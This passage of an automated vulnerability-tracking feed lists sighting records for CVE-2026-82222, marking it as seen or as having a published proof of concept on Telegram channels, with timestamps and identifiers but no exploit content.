    <published>2026-09-09T04:00:31.489265+00:00</published>
  </entry>
  <entry>
    <id>https://vulnerability.circl.lu/sighting/c5155416-8268-4e86-b858-82693d538884/export</id>
    <title>c5155416-8268-4e86-b858-82693d538884</title>
    <updated>2026-10-05T13:08:44.559110+00:00</updated>
    <author>
      <name>Automation user</name>
      <uri>https://cvepremium.circl.lu/user/automation</uri>
    </author>
    <content>{"uuid": "c5155416-8268-4e86-b858-82693d538884", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-82222", "type": "published-proof-of-concept", "source": "Telegram/7rOm1zJT0O_J1zSVt8MF-lgEyNqtBlv6mn184b2XAxA64A", "content": "", "creation_timestamp": "2026-09-09T00:00:41.996079Z"}</content>
    <link href="https://vulnerability.circl.lu/sighting/c5155416-8268-4e86-b858-82693d538884/export"/>
    <published>2026-09-09T00:00:41.996079+00:00</published>
  </entry>
  <entry>
    <id>https://vulnerability.circl.lu/sighting/184149f0-f8f0-4862-aa68-e01a985b2e13/export</id>
    <title>184149f0-f8f0-4862-aa68-e01a985b2e13</title>
    <updated>2026-10-05T13:08:44.559201+00:00</updated>
    <author>
      <name>Automation user</name>
      <uri>https://cvepremium.circl.lu/user/automation</uri>
    </author>
    <content>{"uuid": "184149f0-f8f0-4862-aa68-e01a985b2e13", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-82222", "type": "seen", "source": "Telegram/7rOm1zJT0O_J1zSVt8MF-lgEyNqtBlv6mn184b2XAxA64A", "content": "", "creation_timestamp": "2026-09-08T04:00:03.733683Z"}</content>
    <link href="https://vulnerability.circl.lu/sighting/184149f0-f8f0-4862-aa68-e01a985b2e13/export"/>
    <published>2026-09-08T04:00:03.733683+00:00</published>
  </entry>
  <entry>
    <id>https://vulnerability.circl.lu/sighting/0a926278-3163-4d71-88c4-58f1b4172b04/export</id>
    <title>0a926278-3163-4d71-88c4-58f1b4172b04</title>
    <updated>2026-10-05T13:08:44.559292+00:00</updated>
    <author>
      <name>Automation user</name>
      <uri>https://cvepremium.circl.lu/user/automation</uri>
    </author>
    <content>{"uuid": "0a926278-3163-4d71-88c4-58f1b4172b04", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-82222", "type": "published-proof-of-concept", "source": "Telegram/U-Lw1mLsBIRfCm1Ollw0n6rUh-gbSxMVEkANJuForVtnctY", "content": "", "creation_timestamp": "2026-09-03T00:00:56.505603Z"}</content>
    <link href="https://vulnerability.circl.lu/sighting/0a926278-3163-4d71-88c4-58f1b4172b04/export"/>
    <published>2026-09-03T00:00:56.505603+00:00</published>
  </entry>
  <entry>
    <id>https://vulnerability.circl.lu/sighting/71c626d2-88bc-46b8-af10-8964aaf8c1dc/export</id>
    <title>71c626d2-88bc-46b8-af10-8964aaf8c1dc</title>
    <updated>2026-10-05T13:08:44.559388+00:00</updated>
    <author>
      <name>Automation user</name>
      <uri>https://cvepremium.circl.lu/user/automation</uri>
    </author>
    <content>{"uuid": "71c626d2-88bc-46b8-af10-8964aaf8c1dc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-82222", "type": "published-proof-of-concept", "source": "Telegram/5kO5Q2wTOurnBwc-YFHOCZwVFJew3TejlXiqZK_FHnxdywk", "content": "", "creation_timestamp": "2026-09-03T00:00:37.094936Z"}</content>
    <link href="https://vulnerability.circl.lu/sighting/71c626d2-88bc-46b8-af10-8964aaf8c1dc/export"/>
    <published>2026-09-03T00:00:37.094936+00:00</published>
  </entry>
</feed>
